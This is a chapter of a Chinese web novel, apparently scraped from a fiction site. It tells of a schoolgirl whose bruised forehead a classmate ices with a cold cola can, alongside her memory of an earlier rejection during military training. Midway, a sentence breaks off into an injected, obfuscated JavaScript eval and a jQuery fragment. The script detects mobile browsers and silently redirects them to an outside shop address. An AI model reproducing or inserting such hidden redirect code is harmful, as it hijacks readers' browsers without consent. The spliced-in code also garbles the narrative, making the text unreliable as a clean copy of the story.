文趣网 > 其他小说 > 宁愿天天下雨 > 9. 冰镇
    回到教室,座位上也没看到梁思简的身影。陆宜然臂弯上多出的校服外套像烫手山芋,等她走到位置上时,想都没想就将校服随意的放在梁思简的桌面。

    刚把衣服放下,额头慢一拍传来轻微痛感,提醒陆宜然不要忘记检查伤口。

    她弯下腰,在抽屉里翻找压在底部的折叠镜,镜子上堆着好几本高塔似的书,光是抽出来就用了好大力气。

    这面镜子还是陆宜然前几年跟风买的。只是后来随着学业的繁重,拿出来用的次数越来越少。

    谁也没料到体育课上,一颗砸中脑门的球,会让长久不见天日的镜子久违地派上用场。

    陆宜然轻轻掀起额前的刘海,对着镜子红肿的地方,一个泛红的小包凸起,和白皙的皮肤相比更是惹眼。不知是不是因为时间的原因,现在看伤势要比先前严重一些。

    “蒋晴,你有多余的发卡可以夹刘海吗?”

    陆宜然身上没有多余的饰品,额前的刘海不用手压住的话轻轻松松就能挡住伤口,不太方便她等会处理,思来想去只好问问蒋晴。

    “哝。”

    蒋晴很快从书里面翻出一个盒子,打开看里面有各式各样的发卡和皮筋。

    “怎么了,是额头被砸的很严重吗?”

    蒋晴想起体育课时,注意到她额头泛起的红,关切问着。

    陆宜然没多说,直接伸手将额前的刘海撩起给她看。

    “嘶,看着就疼。”

    蒋晴看着她额头上蔓延出的一片红,以及原本光洁额头上凸显出的小包,倒吸一口凉气,忍不住替她龇牙咧嘴。

    “真不去医务室看看?拿点药膏涂涂也好呀。”

    “也没破皮,去医务室感觉小题大做了。用热水袋接点热水热敷一下,估计很快就能消下去。”

    陆宜然因为畏寒,手脚容易冰凉,所以冬天一直会在教室里备上一个热水袋。

    她从蒋晴递过的饰品盒里随意抽一个用白色兔子装饰的蓝色发卡,将刘海斜着别住,完好的露出额头上的伤。

    刚把发卡扣稳,耳边就传来响动,陆宜然还没来得及分辨,一股凉意猝不及防贴上额头。

    陆宜然被冰的瑟缩一下,身体下意识往后退半步。等视线聚焦后,才看清原先抵在自己额头上的,是一瓶冰镇罐装可乐。

    梁思简不知什么时候回了教室,站在过道上,手上还拿着那瓶“罪魁祸首”。

    他接收到陆宜然看过来的眼神,很快脸上带笑,清亮的下垂眼很快弯起像月牙一般。

    一旁的蒋晴,倒是对这突如其来的举动看得分明。

    “梁思简!你干嘛呢,没看到人家头上起包了吗?”

    蒋晴很快反应过,像鸡妈妈护犊子一样,很快向梁思简质问道。

    “正因为起包了,所以才要冰敷啊。”

    梁思简露出一副无辜的样子看着蒋晴。

    “特意跑小卖部买的?”

    “对,怎么样,是不是很贴心。”

    他眉梢微扬,还在那臭屁。

    “所以那个用羽毛球砸到陆宜然的就是你,然后你砸到人家还要人家帮你拿衣服,哇塞,梁思简,真有你的啊,啧啧啧啧啧。”

    蒋晴看着他这副模样,瞬间事情串联起来,想明白后就马上火力全开进行输出。

    被一语戳破的梁思简原本还亮着的眼睛此刻也耷拉下来,这副可怜模样倒真衬出那双下垂眼。

    “确实有些吓人,怪不得梁思简非拉着我去小卖部,陆宜然你有没有感觉哪里不舒服,比如头晕恶心之类的?”

    吵闹中,宋亦舟不知何时也凑了过来,站在桌旁,盯着陆宜然受伤的额头,上上下下都仔细打量过一番后,才提出自己的看法。

    他这话一出,原本还互相拌嘴的梁思简和蒋晴两人立刻闭口不谈,默契地将注意力重新放回到陆宜然身上。

    陆宜然一下子收到三道沉甸甸且饱含关切的目光,有些受宠若惊,又有些苦笑不得。他们认真地样子快让陆宜然以为自己额头上的包,成了溃烂还在渗血的疤痕。

    “真的没事,只是看着吓人而已,皮肤敏感容易上色。我刚刚还打算装点热水敷一下,估计很快就好了。”

    “热敷得话,充血红肿反而会更严重。你等一下。”

    梁思简说完就立马拉开书包拉链,在里面少出一包还没开封的湿纸巾,从里面抽出几张后,到饮水机旁用冷饮水浸湿。

    “他靠谱吗?别等会折腾来折腾去还得去医务室。”蒋晴见此情境,压低声音在陆宜然耳边嘀咕着。

    “梁思简经常运动,也会受伤,小伤都是他自己处理,熟得很,这点他还是知道的。”

    宋亦舟和梁思简认识这么多年,自然胳膊肘往内拐,替梁思简说话。

    周遭的交谈声还在继续,而身处漩涡中心的陆宜然,此刻正盯着梁思简随手扔在桌面上的那包湿巾出神。

    湿巾包装壳上的白色栀子花让她眼熟,她悄悄伸手从自己书包侧兜里翻出她的那包湿巾,两两对比确认自己没有认错。

    其实在校园里撞见同款是一件再寻常不过的事,大到书包,小到水笔,都有可能。

    只是,想起转班时梁思简三言两语简单带过的初遇,陆宜然拿着整包湿巾的手轻轻摩挲着上面的栀子花,那些不愿想起的事情随之涌上心头。

    高一军训时,烈日当空,陆宜然的霉运也稳定发挥。

    集合哨声吹得又急又快,耳边还有教官催促他们快点排队的声音,陆宜然有些着急心慌,没有注意到脚下石板微微松动,很快被翘起的石板边给绊倒在地。

    痛感很快占据她的大脑,接触地面的手心因为剧烈摩擦,破了皮开始渗血,膝盖也很疼,径直磕到坚硬的地板没有一点缓冲。

    她眼眶一热,泪水差点就要从眼眶溢出,可想起自己此时的处境,硬是咬着牙把眼泪憋了回去,站起身来拍拍身上的灰,一瘸一拐回到队伍中间跟教官报告刚刚摔伤的事。

    得到教官允许后,陆宜然又一瘸一拐的前往医务室。到医务室掀开裤腿后,膝盖上也破了皮,正向外渗血,等医生拿着棉签蘸取碘伏涂在伤口时,钻心的刺痛让陆宜然没出息的落了泪。

    处理好伤口,等情绪也逐渐平稳后,陆宜然步履蹒跚,慢吞吞地走到队伍方阵。教官见她膝盖处的伤势,便安排她坐在帐篷下休息。逃掉了剩下的军训,也不知道是幸运还是倒霉。

    不用训练有助于她伤势的休养,可一直坐着也很无聊。尤其温度太高,哪怕有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966466|214536||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    帐篷遮挡也很难在连吹过得风都是热得的地方睡觉。

    陆宜然百无聊赖地坐在塑料凳上,盯着在教练口号中不断练习正步的队伍,还记在心里计数,有几个男生,有几个女生,有几个带着眼镜。

    就在她数了好几个班的时候,有一个同样穿着军训服的男生正在搬运一箱又一箱的矿泉水。

    陆宜然实在闲得有些难熬,为此即使行动不便,她也在一旁帮忙将水一瓶瓶拆开,模仿往常水瓶摆放的位置,将矿泉水瓶在桌面上一一摆放整齐,方便休息时随拿随喝。

    搬运过程中,陆宜然注意到男生脸上的汗珠,想起原来放在口袋里预备自己下训时擦汗的湿巾,陆宜然内心迟疑再三,最后还是冲动地喊住准备离开的男生,将自己的水和湿巾一同递了出去。

    对方一个都没接。巨大的尴尬包裹着陆宜然,她的脸不用手摸都感觉烧得通红、滚烫。

    她慌忙移开视线,强行让自己看向原来的方阵队伍,内心正疯狂地谴责自己的冲动与鲁莽。

    摔跤时的窘迫还在心里萦绕,原本以为这已经是今天的最低点,没想到还能迎来再一次的拒绝。陆宜然在心中一股脑地吐槽自己多管闲事,她也不知道自己是怎么了。

    额头再次感到一阵冰凉,猛然把陆宜然从回忆里拉回教室。

    梁思简正用湿巾包住冰凉的易拉罐,动作努力放柔,轻轻触碰陆宜然的额头。

    “温度还行吗?应该没一开始那么冰了吧?”

    梁思简温柔中又夹杂着几分小心翼翼地询问着,他眼睛里满是诚恳,像是下一秒听到陆宜然说出任何不适就能马上调整一般。

    “嗯,没那么冰了。”

    陆宜然从他的手里接过易拉罐,自己敷在额头上,已经到嘴边的谢谢又因为之前约定好不在梁思简面前说这个词,硬生生止住了。

    连同那些盘旋在心底的疑问,那句“你上次问还记不记得你,是不是指我们在军训时遇见过?你就是那个拒绝我的男生吗?”也被陆宜然死死压在心底。

    她怕得到否定的回答,让难堪的事情变得更加难堪。

    陆宜然垂着眼,握着易拉罐的手不自觉加重了力气,沉默不语。

    “你,这个发卡挺好看的,很适合,很可爱。”

    梁思简停在半空的手有些不知所措,重新揉搓着自己的头发,没头没脑冒出一句夸赞,砸得几人都没反应过来。

    “咳咳,那是我的发卡。”

    蒋晴顿了半天最先反应过来,打破沉默。

    “哦。”

    他淡淡应了一声。

    “嘿,你这什么意思?”

    梁思简赤裸裸地差别对待让蒋晴非常不爽。

    一直没说话的宋亦舟目光却落到沉默的陆宜然身上,视线在她和梁思简身上绕着,突然灵光一闪,像是明白什么一样,露出一个狡黠的笑容。

    这笑容让梁思简有些瘆得慌。

    –

    「回家时翻了日记本,发现那天断更了。现在回想原因,估计也是不想记录那些让我难堪的记忆。

    其实那天我的泪水不止为摔伤带来的刺痛而流,还有窘迫和尴尬。

    2023.2.21

    ——jellyfish」